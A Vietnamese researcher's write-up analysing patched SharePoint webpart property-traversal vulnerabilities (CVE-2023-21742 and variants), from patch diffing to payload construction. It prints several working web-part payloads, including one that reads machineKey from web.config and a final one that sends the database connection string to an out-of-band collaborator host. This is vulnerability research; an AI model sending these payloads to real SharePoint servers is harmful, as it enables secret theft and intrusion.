Phân tích lỗ hổng SharePoint Webpart Property Traversal (CVE-2022–38053, CVE-2023–21742, CVE-2023–21717)

Jang
8 min readApr 6, 2023

Sau khi kỳ p2o Vancouver 2023 kết thúc, tôi được yêu cầu tiếp tục nghiên cứu một số CVE của SharePoint: CVE-2023–21742 và CVE-2023–21717

Hai CVE này, và cả CVE-2022–38053, CVE-2020–1103 đều có chung một mục đích: leak property. Do không thể (hoặc là chưa thể) tìm được một writeup nào về các CVE này nên mình quyết định viết bài này để note lại một số thông tin sau quá trình phân tích.

Phiên bản SharePoint mình setup lab là SharePoint 2013, guide setup của phiên bản này khá là dị, nếu bạn đọc có ý định setup trên Windows Server 2012 R2 thì nên đọc qua guide này.

Mình chọn CVE-2023–21742 để bắt đầu phân tích, do điều kiện tối thiểu để khai thác CVE này đó là chỉ cần user là Site Member là được:

Lỗ hổng này được fix vào tháng 1 năm 2023, do đó mình sẽ download bản vá của tháng 1 và tháng 12/2022 để diff:

Sau khi decompile, remove junk byte và diff, chúng ta được kết quả rất đẹp như sau:

Số lượng file có sự khác biệt không nhiều, trong đó thì phần chỉnh sửa ở DataSetSurrogateSelector có lẽ là phần fix của CVE-2023–21744 — liên quan tới deserialization gì đó, mình sẽ phân tích ở một bài khác.

CVE-2023–21742 được fix ở method WebPartPagesWebService.ConvertWebPartFormat(),

Bản cũ:

MarkupProperties partPreviewAndPropertiesFromMarkup = ToolPane.GetPartPreviewAndPropertiesFromMarkup(pageUri, inputFormat, true, spwebPartManager, spweb, markupOption, true, true, ref webPart, ref text, ref text2, ref webPartImporter, ref list, ref serverDocumentDesigner, false);

Bản mới:

MarkupProperties partPreviewAndPropertiesFromMarkup = ToolPane.GetPartPreviewAndPropertiesFromMarkup(pageUri, inputFormat, true, spwebPartManager, spweb, markupOption, true, true, ref webPart, ref text, ref text2, ref webPartImporter, ref list, ref serverDocumentDesigner, true);

Sự khác biệt duy nhất nằm ở tham số cuối cùng của method ToolPane.GetPartPreviewAndPropertiesFromMarkup(), từ false => true

Flag này là blockPropertyTraversal

Search lại trong cùng WebPartPagesWebService thì có thêm method RenderWebPartForEdit() cũng sử dụng tớiGetPartPreviewAndPropertiesFromMarkup().Tuy nhiên tham số cuối cùng cũng đã được set = true

Sau khi tìm kiếm một vòng, mình chỉ thấy duy nhất một thông báo của MS có liên quan tới blockPropertyTraversal tại đây. Thông báo này được tạo vào tháng 09/2022, từ đó mình có thể suy ra được CVE-2023–21742 chính là variant của CVE-2022–35823, chung một root cause, code pattern.

Argument blockPropertyTraversal được nhận tạiToolPane.GetPartPreviewAndPropertiesFromMarkup() tuy nhiên vị trí được sử dụng lại nằm ở EditingPageParser.VerifyControlOnSafeList(),

Callstack:

Trong trường hợp arg này được set = true, nội dung của các xml attribute sẽ được kiểm tra sự tồn tại của ký tự “.” và block, ví dụ:

Đó là kết quả từ việc diff patch, còn việc làm sao để khai thác loại lỗ hổng này thì mình chịu =)))))).

.

.

.

.

.

— — — — — — — — — — — — -

Thật may là mình có quen một số anh em xã hội đã từng phân tích khá nhiều 1day SharePoint nên mình đã vứt hết liêm sỉ và đi nhờ sự trợ giúp từ tổ tư vấn ( ͡° ͜ʖ ͡°). Many thanks anyway!

— — — — — — — — — — — —-

Mình nhận được hint rằng mấy CVE này cũng chỉ là variant của CVE-2020–16951, CVE này đã được team srcincite public PoC tại đây. Và CVE này cũng lại là variant của CVE-2020–1103

Root cause của attack surface nằm ở Parameter class: Microsoft.SharePoint.WebPartPages.DataFormParameter

Trong quá trình render/binding, Class này cho phép Eval, get giá trị của các property của object của Control Class. Việc Eval property được thực hiện ở DataFormParameter.Evaluate() -> DataBinder.Eval()

//DataBinder.Eval()
public static object Eval(object container, string expression)
{
//..
string[] array = expression.Split(".");
return DataBinder.Eval(container, array);
}

private static object Eval(object container, string[] expressionParts)
{
object obj = container;
int num = 0;
while (num < expressionParts.Length && obj != null)
{
string text = expressionParts[num];
if (text.IndexOfAny(DataBinder.indexExprStartChars) < 0)
{
obj = DataBinder.GetPropertyValue(obj, text);
}
else
{
obj = DataBinder.GetIndexedPropertyValue(obj, text);
}
num++;
}
return obj;
}

Dựa vào content của DataBinder.Eval(), ta có thể thấy: nếu property có xuất hiện dấu chấm “.”, DataBinder sẽ thực hiện split và get tất cả các property này theo thứ tự, kết quả trả về của property này sẽ là đối tượng để get property tiếp theo.

=> Do đó mà lỗ hổng này được gọi là property traversal!

Quay trở lại với CVE-2023–21742, lỗ hổng nằm ởWebPartPagesWebService.ConvertWebPartFormat(), method này nhận vào một tham số inputFormat ở dạng SOAP. Request sẽ có dạng như sau:

Sau khi tham khảo thêm một số lỗ hổng tương tự từng xảy ra ở WebPartPagesWebService, mình quyết định mượn payload từ một bài phân tích của team ZDI: https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability

Payload:

<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> 
<%@Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"%>
<WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="Documents" WebId="{6e7040c8-0338-4448-914d-a7061e0fc347}">
<DataSources>
<att:xmldatasource runat="server" id="XDS1"
XPath="/configuration/system.web/machineKey"
datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" />
</DataSources>
<xsl>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" indent="yes"/>
<xsl:template match="/" >
<xsl:copy-of select="."/>
</xsl:template>
</xsl:stylesheet>
</xsl>
</WebPartPages:XsltListFormWebPart>

Tuy nhiên ở payload này thì xmlurldatasource đã bị block, do đó mình tiếp tục dung hợp với payload của CVE-2020–16951, sau khi chỉnh sửa thêm một chút thì có được payload như sau:

<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPages" Assembly="Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register TagPrefix="att" Namespace="Microsoft.SharePoint.WebControls" Assembly="Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>

<WebPartPages:XsltListFormWebPart id="id01" runat="server">
<XmlDefinitionLink>http://webdb.com/aaaa</XmlDefinitionLink>
<DataSources>
<att:SoapDataSource runat="server" SelectUrl="http://cgq66702vtc000091heggemuddoyyyyyb.oast.fun/pwn">
<SelectCommand>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<leakeddata>{leak}</leakeddata>
</soap:Body>
</soap:Envelope>
</SelectCommand>
<SelectParameters>
<WebPartPages:DataFormParameter controlid="pwn" Name="leak" PropertyName="Prop" DefaultValue="NULL"/>
</SelectParameters>
</att:SoapDataSource>
</DataSources>

</WebPartPages:XsltListFormWebPart>

Tại ServerElement.Initialize(), ta thấy rằng Request này đương nhiên sẽ bypass được this.Document.CheckMarkupForSafeControls() check

Tuy nhiên sẽ gặp NoNamingContainer Exception khi bước vào nhánh DataFormParameter.Evaluate() -> DataBoundControlHelper.FindControl():

Điều này xảy ra do mình đang sử dụng controlid để chỉ định Control cho DataFormParameter:

<WebPartPages:DataFormParameter controlid="pwn" Name="leak" PropertyName="Prop" DefaultValue="NULL"/>

Dựa vào logic của DataFormParameter.Evaluate(), mình có thể bỏ attribute này đi và thực hiện Eval trực tiếp trên NamingContainer của SoapDataSource A.K.A XsltListFormWebPart

Payload lúc này sẽ thành:

<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPages" Assembly="Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register TagPrefix="att" Namespace="Microsoft.SharePoint.WebControls" Assembly="Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>

<WebPartPages:XsltListFormWebPart id="id01" runat="server">
<XmlDefinitionLink>http://webdb.com/aaaa</XmlDefinitionLink>
<DataSources>
<att:SoapDataSource runat="server" SelectUrl="http://cgq66702vtc000091heggemuddoyyyyyb.oast.fun/pwn">
<SelectCommand>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<leakeddata>{leak}</leakeddata>
</soap:Body>
</soap:Envelope>
</SelectCommand>
<SelectParameters>
<WebPartPages:DataFormParameter Name="leak" PropertyName="Web.Site.ContentDatabase.DatabaseConnectionString" DefaultValue="NULL"/>
</SelectParameters>
</att:SoapDataSource>
</DataSources>

</WebPartPages:XsltListFormWebPart>

Với Web.Site.ContentDatabase.DatabaseConnectionString là prop chứa connection string của DB.

Thực hiện gửi request này lên server thì mình tiếp tục nhận được một Exception mới:

System.Web.HttpException (0x80004005): DataBinding: 'Microsoft.SharePoint.WebPartPages.XsltListFormWebPart' does not contain a property with the name 'Web'.
at System.Web.UI.DataBinder.GetPropertyValue(Object container, String propName)
at System.Web.UI.DataBinder.Eval(Object container, String[] expressionParts)
at System.Web.UI.DataBinder.Eval(Object container, String expression)

Well, bị fail ngay từ property đầu tiên “Web”.

Local variable tại thời điểm đó:

Trace ngược trở lại thì mình nhận ra property này không public nên không get được.

Đọc lại paper của CVE-2020–1103 thì mình mới phát hiện ra property này chỉ access được trên các Control có thừa kế củaTemplateBasedControl

XsltListFormWebPart thì lại không kế thừa từ kiểu này nên chuyện không thể access được property “Web” là điều hiển nhiên rồi.

Đây cũng chính là lý do cho việc sử dụng attribute controlid ở các payload trước, trong đó attribute này sẽ link sang một TemplateControl đã được declare trước đó.

Vậy thì mình chỉ cần declare một TemplateControl khác là được, right?

Nah! Mọi thứ không dễ dàng như vậy!

Trong quá trình build lại webpart từ xml, DesignTimeTemplateParser.ParseControl(DesignTimeParseData) sẽ parse và chỉ return lại Control đầu tiên nó parse được, đồng nghĩa với việc declare một TemplateControl và sau đó từ DataFormParamter link tới là không thể!

  • callstack cho bạn nào muốn kiểm chứng:

.

.

.

Cách xử lý vấn đề này của mình có phần hơi cồng kềnh một chút: đó là tìm một Control nào đó cho phép thêm nhiều Control khác từ webpart và sau đó có thể dùng Property để access các Control này sau.

Và payload cuối cùng như sau:

<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPages" Assembly="Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register TagPrefix="att" Namespace="Microsoft.SharePoint.WebControls" Assembly="Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<WebPartPages:WebPartZone id="id00" runat="server">
<ZoneTemplate>
<WebPartPages:XsltListFormWebPart id="id01" runat="server">
<XmlDefinitionLink>http://webdb.com/aaaa</XmlDefinitionLink>
<DataSources>
<att:SoapDataSource runat="server" SelectUrl="http://cgq66702vtc000091heggemuddoyyyyyb.oast.fun/pwn">
<SelectCommand>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<leakeddata>{leak}</leakeddata>
</soap:Body>
</soap:Envelope>
</SelectCommand>
<SelectParameters>
<WebPartPages:DataFormParameter Name="leak" PropertyName="Parent.Controls[1].Controls[0].Web.Site.ContentDatabase.DatabaseConnectionString" DefaultValue="NULL"/>
</SelectParameters>
</att:SoapDataSource>
</DataSources>

</WebPartPages:XsltListFormWebPart>
<att:TemplateContainer runat="server" id="f01" />
</ZoneTemplate>
</WebPartPages:WebPartZone>

Với:

Parent -> WebPartZone
Controls[1] -> GenericWebPart
Controls[0] -> TemplateContainer
Web -> SPWeb
Site -> SPSite
ContentDatabase -> SPContentDatabase
DatabaseConnectionString -> ConnectionString

Kết quả:

Trên SharePoint 2016–2019, theo như các tài liệu trước có đề cập tới property:

Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]

Trong một số trường hợp, cụ thể là nếu sử dụng unattended setup (https://web.archive.org/web/20160520194341/https://thesharepointfarm.com/2016/03/unattended-configuration-for-sharepoint-server-2016/) thì property này có thể có giá trị của machine validation key, và có thể sử dụng giá trị này để khai thác ViewState deserialization.

Mình có thử setup lại với unattend setup tuy nhiên tất cả đều không khả thi lắm, InitializationSettings luôn empty, không có giá trị nào là Machine Validation key cả …

Yeah, và kết thúc dang dở vậy đó, mình chưa tìm được cách nào khác để khai thác thêm từ bug property traversal này, với các thông tin có thể access thì chưa thể nào RCE được.

PoC:

Cảm ơn @dieulink81 @_q5ca @hoangnx99 @vudq đã support trong quá trình phân tích!

Thanks for reading!

--

--